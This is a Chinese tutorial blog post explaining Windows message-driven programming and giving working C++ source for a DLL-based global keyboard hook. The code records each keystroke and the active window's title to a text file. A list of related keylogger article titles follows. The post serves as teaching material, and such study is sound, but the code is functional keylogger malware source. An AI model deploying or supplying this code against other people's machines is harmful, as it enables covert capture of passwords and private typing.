一.总体概述

  主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操作系统的消息机制,动态库等一些知识

二.具体的实现

  首先我们要重新建立一个windows桌面应用程序,然后我们运行一下我们会看到一个窗口,我们创建桌面应用程序而不创建控制台程序是因为桌面应用程序,这里面最主要的原因控制应用程序模拟DOS系统的那种CUI操作,不是直接用消息驱动的,而这里我们采用的windows应用程序是依靠消息驱动的(这里我们要注意的是DOS和windows的区别,DOS下的任何程序都是使用顺序的、过程驱动的程序设计方法。这种程序都有一个明显的开始、明显的过程以及一个明显的结束,因此通过程序就能直接控制程序事件或过程的全部顺序。即使是在处理异常时,处理过程也仍然是顺序的、过程驱动的结构。而Windows的驱动方式则是事件驱动的,即程序的流程不是由事件的顺序来控制,而是由事件的发生来控制,所有的事件是无序的,所为一个程序员,在编写程序时,并不知道用户会先按下哪个按纽,也就不知道程序先触发哪个消息。因此我们的主要任务就是对正在开发的应用程序要发出的或要接收的消息进行排序和管理。事件驱动程序设计是密切围绕消息的产生与处理而展开的,一条消息是关于发生的事件的消息。 )

应用程序结构的简要讲解:

  vs创建的文件中首先由三种函数构成注册窗口(包含窗口的一些基本的信息),初始化窗口(窗口的初始化函数),消息处理的窗口(回调函数,dispatchmsg()后就会调用这个回调函数,让应用程序处理各种的消息,窗口的各种的消息都是在这里定义的),然后我们可以通过主循环的消息循环机制不断的Getmsg()来阻塞的等待操作系统分发到该应用消息队列的消息,通过translate来翻译消息然后,dipach分发掉,这就是该应用程序的运行机制。

    // 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)){if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)){TranslateMessage(&msg);DispatchMessage(&msg);}}

  知道上面的原理后我们可以在相应的消息下安装钩子和删除钩子就可以了(WM_CREATE安装钩子,WM_DESTROY卸载钩子),接下来我们采用动态库的方式来编写钩子的核心函数,我们新建一个空的静态库(因为钩子的设置需要我们新建立一个动态库),然后在头文件写下如下:

#pragma once#include <Windows.h>
#include <stdio.h>//启动钩子
extern  "C" _declspec(dllexport) bool installHock();//卸载钩子
extern  "C" _declspec(dllexport) bool unistallHock();

  其中我们采用extern "c" 的方式是因为c++的编译器往往会将函数名字进行修改为了C语言和C++都能调用dll文件中API函数,我们希望动态链接库文件在编译时,导出函数的名称不要发生变化,而在一般的调用的时候我们要采用_declspec()即可,而在调用端我们想引用这个静态库,首先现将编译好的静态库(.lib)放置在所要调用的cpp文件的同一个目录下,然后写下如下的代码:

//引入动态库
#pragma comment(lib , "hockdll")
//启动钩子
extern  "C" _declspec(dllimport) bool installHock();
//卸载钩子
extern  "C" _declspec(dllimport) bool unistallHock();

  那么我们接下来要做的就是专心的写我们的键盘钩子的核心函数:(第一个函数是设置钩子的回调函数,一旦键盘有所操作我们将触发,这里的回调函数的格式我们可以通过转到定义来查看,windows的API的回调函数都会在函数名字前加上一个callback)

HHOOK g_hook;LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam)
{char szWriteText[256];char szWindowTittle[256];char szKeyTest[256];HWND hWnd;hWnd = ::GetActiveWindow();if (hWnd == NULL){hWnd = ::GetForegroundWindow();if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);}//得到窗口的标题GetWindowTextA(hWnd, szWindowTittle, 256);//获取在在窗口输入的按键的内容if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam);if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam);GetKeyNameTextA(lParam, szKeyTest, 256);sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest);//保存到文件中FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a");if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);fwrite(szWriteText, 1, strlen(szWriteText), fp);fclose(fp);return CallNextHookEx(g_hook, code, wParam, lParam);
}//启动钩子
bool installHock()
{//获取按键的信息g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL);if (g_hook == NULL) return false;MessageBox(NULL,L"设置钩子成功", L"提示",NULL);return true;
}//卸载钩子
bool unistallHock()
{return UnhookWindowsHookEx(g_hook);
}

  

转载于:https://www.cnblogs.com/yskn/p/9513020.html

c++ 实现键盘钩子相关推荐

  1. [C++]键盘钩子程序

    实现适时监视键盘,并将按键信息保存在TXT文件中的程序 Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的.而钩子是Windows系统中非常重要的系统接口,用它 ...

  2. 低级键盘钩子,在WIN7以上版本的问题

    最近在项目用到低级键盘钩子.发现一个很奇怪的事情,在开发环境和测试环境下都正常运行的键盘钩子, 到了现场环境,总是偶发性出现 键盘钩子不能用了,而且退出时产生1404 错误. 后经过阅读MSDN 的R ...

  3. vs2019键盘钩子_C#键盘按键监视

    using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using ...

  4. 利用键盘钩子捕获Windows键盘动作

    引言 在科研生产中对研制.调试操作的记录是非常有必要而且是有很重要价值的.通过对记录信息的分析,可以在事故发生后准确的分析出事故的起因.操作是否存在失误等许多重要线索.通常需要记录的信息是多种多样的, ...

  5. 低级键盘钩子 DLL

    C语言封装的低级键盘钩子(HOOK)的DLL程序, +源码,  并有测试程序... 下载地址 : http://download.csdn.net/detail/hemmingway/4570548

  6. VC/MFC 键盘钩子,代码片断

    在MFC程序中使用键盘钩子来获取按键消息,例程: #include "StdAfx.h" #include "KeyboardHook.h" static HH ...

  7. windows api学习笔记-键盘钩子

    DLL项目的头文件 #ifdef KEYHOOKLIB_EXPORT //此宏将在CPP文件中定义 #define KEYHOOKLIB_API __declspec(dllexport) #else ...

  8. WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例

    原文:WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例 键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键 ...

  9. HOOK使用:全局键盘钩子

    // CatchKey.cpp : Defines the entry point for the DLL application. // #define _WIN32_WINNT 0x0500 // ...

  10. 恶意代码逆向静态分析之键盘记录(键盘钩子)以及代码实现 有手就行

    这里没有截好屏 代码实现 设置键盘钩子 BOOL HookKeyBoard() {BOOL bRet = FALSE;kKeyboardHook = SetWindowsHookEx(WH_KEYBO ...

最新文章

  1. InstallShield9中开始菜单的设置
  2. DelayQueue源码
  3. 字符定长文件Linux怎么生成,Linux中的more命令-逐页显示长文本文件
  4. 人工智能AI实战100讲(八)-原理+代码详解 | 稠密重建之SGM/tSGM算法
  5. 一串字符串转换为ascii_将ASCII字符串(char [])转换为C中的BYTE数组
  6. 程序员求职面试丨面试必备之终极指导篇,掌握这些,面试不再困难!
  7. 如何修改动态库符号表
  8. Hyper-V与VMware的技术特性对比
  9. shell脚本基础 (一)
  10. 怎么做c语言的子程序,哪位师傅知道51单片机怎样编写子程序?C语言的。在主程序里调...
  11. dom操作节点之常用方法
  12. javascript 获得本地 IP 地址
  13. 4. 使用Keras-神经网络来进行MNIST手写数字分类
  14. 计算机是uefi启动 不能装win7,UEFI引导GPT安装win7方法
  15. [Spark版本更新]--2.3.0发行说明(一)
  16. 网络协议分析(最全)
  17. ArcMap客户端——将shp属性表导出为excel
  18. JAVA 完成WebSocket demo 用GoEasy实现Hello world
  19. 利用EK算法求网络流的最大流
  20. 01-ESP8266 NodeMCU 物联网开发初识

热门文章

  1. Gamasutra:2014年全球十大游戏工作室
  2. 什么是模拟IC设计?
  3. ESP32 CAM下载程序踩过的吭
  4. Bootstrap-table formatter
  5. 如何有效地防止注册机
  6. CVPR2019 | 15篇论文速递(涵盖目标检测、语义分割和姿态估计等方向)
  7. 微信小程序AR应用案例盘点(时尚行业)
  8. 自建dayz服务器,【图片】关于自建服务器的支援贴【dayz吧】_百度贴吧
  9. 《基于MATLAB的高等数学问题求解》(视频、PPT、源码)
  10. PS老照片一键修复工具,你的必备软件之一